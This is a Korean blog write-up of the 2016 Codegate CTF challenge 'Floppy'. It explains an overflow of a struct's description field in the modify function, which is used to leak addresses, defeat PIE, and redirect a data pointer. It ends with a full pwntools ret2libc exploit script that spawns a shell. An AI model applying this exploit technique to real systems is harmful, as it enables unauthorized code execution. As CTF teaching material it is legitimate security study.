튜기's blogggg

2016 Codegate Floppy writeup

by St1tch




문제는 disk를 정하고 그 disk에 값을 write, read, modify하는 기능은 간단한 프로그램이다.


보호기법으로는 NX와 PIE가 적용되어있다...

PIE는 라이브러리에 적용되는 aslr이라고 생각하면 된다.

보통 __libc_start_main으로 돌아가는 ret주소를 이용해 offset을 알아낸 후 익스플로잇을 한다.






함수프롤로그 부분과, disk의 해당하는 주소에 구조체를 만드는것을 볼 수 있다.





write함수에서 구조체의 구조를 알 수 있다.

flag(4), &data(4), description(10), empty(2), datasize(4)

이런 구조로 되어있다.




ebp-0c에는 선택되어 있는 disk구조체의 주소가 저장되어있다.





위의 정보들을 종합하여보면 대충 이러한 스택프레임 구조로 되어있다.





watermelon문제와 비슷하게 modify함수에 취약한 부분이 있다.

해당 disk의 description부분에 데이터를 37바이트 만큼 쓸 수 있다.

이렇게 되면 구조체 다음주소에 21바이트의 원하는 데이터를 넣을 수 있다.


이를 이용해서 익스플로잇을 작성했다.

1. PIE가 적용되어 있기 때문에 disk1의 주소를 먼저 구하고, __libc_start_main_ret를 구한다.

2. leak시킨 주소를 이용해 어떤 라이브러리를 사용하는지 확인해서 해당 라이브러리의 offset을 들고와 system와 binsh주소를 구한다.

3. disk2의 description을 modify하여 disk1의 &data 를 ebp-8의 주소로 overwrite한다.

4. 다시 disk1의 data를 modify하여 페이로드를 집어넣는다.

  





import stitch
from pwn import *

s = remote('10.211.55.38', 9001)

raw_input('ready')
#choose
s.recvuntil('>\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('1')

#write
s.recvuntil('>\n')
s.sendline('2')
s.recvuntil(':')
s.sendline('uk')
s.recvuntil(':')
s.sendline('uk')

#ebp addr leak
s.recvuntil('>\n')
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('A'*16)
s.recvuntil('>\n')
s.sendline('3')
tmp = s.recvuntil('>\n')
ebp = u32(tmp.split('A'*16)[1].rstrip()[:4]) + 36
ecx = ebp + 24

#main_ret leak
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('A' * 32)
s.recvuntil('>\n')
s.sendline('3')

s.recvuntil('>\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('>\n')
s.sendline('3')
tmp = s.recvuntil('>\n')
main_ret = u32(tmp.split('DATA')[0][-5:-1])

#calculate system,binsh addr
libc = stitch.find_libc({'main_ret': hex(main_ret)[-3:]})[0]
offset = main_ret - libc['main_ret']
system = offset + libc['system']
binsh = offset + libc['binsh']

target_addr = ebp - 8
#overwrite floppy1 data addr
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('2')
s.recvuntil('>\n')
s.sendline('2')
s.recvuntil('\n\n')
s.sendline('uk')
s.recvuntil('\n\n')
s.sendline('uk')
s.recvuntil('>\n')
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('1')
s.recvuntil('\n\n')
pay  = 'A' * 20
pay += p32(target_addr)
s.sendline(pay)
s.recvuntil('>\n')
s.sendline('1')
s.recvuntil('\n\n')
s.sendline('1')

#exploit
s.recvuntil('>\n')
s.sendline('4')
s.recvuntil('\n\n')
s.sendline('2')
s.recvuntil('\n')
pay  = p32(ecx)
pay += 'AAAA' * 6
pay += p32(system)
pay += 'AAAA'
pay += p32(binsh)
s.sendline(pay)

s.interactive()







블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기